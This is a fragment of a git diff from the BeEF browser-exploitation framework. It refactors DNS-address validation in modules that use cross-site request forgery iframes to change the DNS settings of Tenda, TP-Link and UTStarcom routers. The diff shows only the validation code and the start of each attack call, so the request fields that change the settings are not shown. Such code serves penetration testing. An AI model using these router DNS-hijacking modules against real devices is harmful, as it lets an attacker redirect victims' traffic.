if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var tenda_adsl_963281tan_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -14,33 +14,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var tplink_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
@@ -12,33 +12,17 @@ beef.execute(function() {
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
// validate DNS server IP addresses
|
||||
if (!beef.net.is_valid_ip(dns1)) {
|
||||
beef.debug('Invalid Primary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
if (!beef.net.is_valid_ip(dns2)) {
|
||||
beef.debug('Invalid Secondary DNS server IP address was provided');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var utstarcom_wa3002G4_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
|
||||
Reference in New Issue
Block a user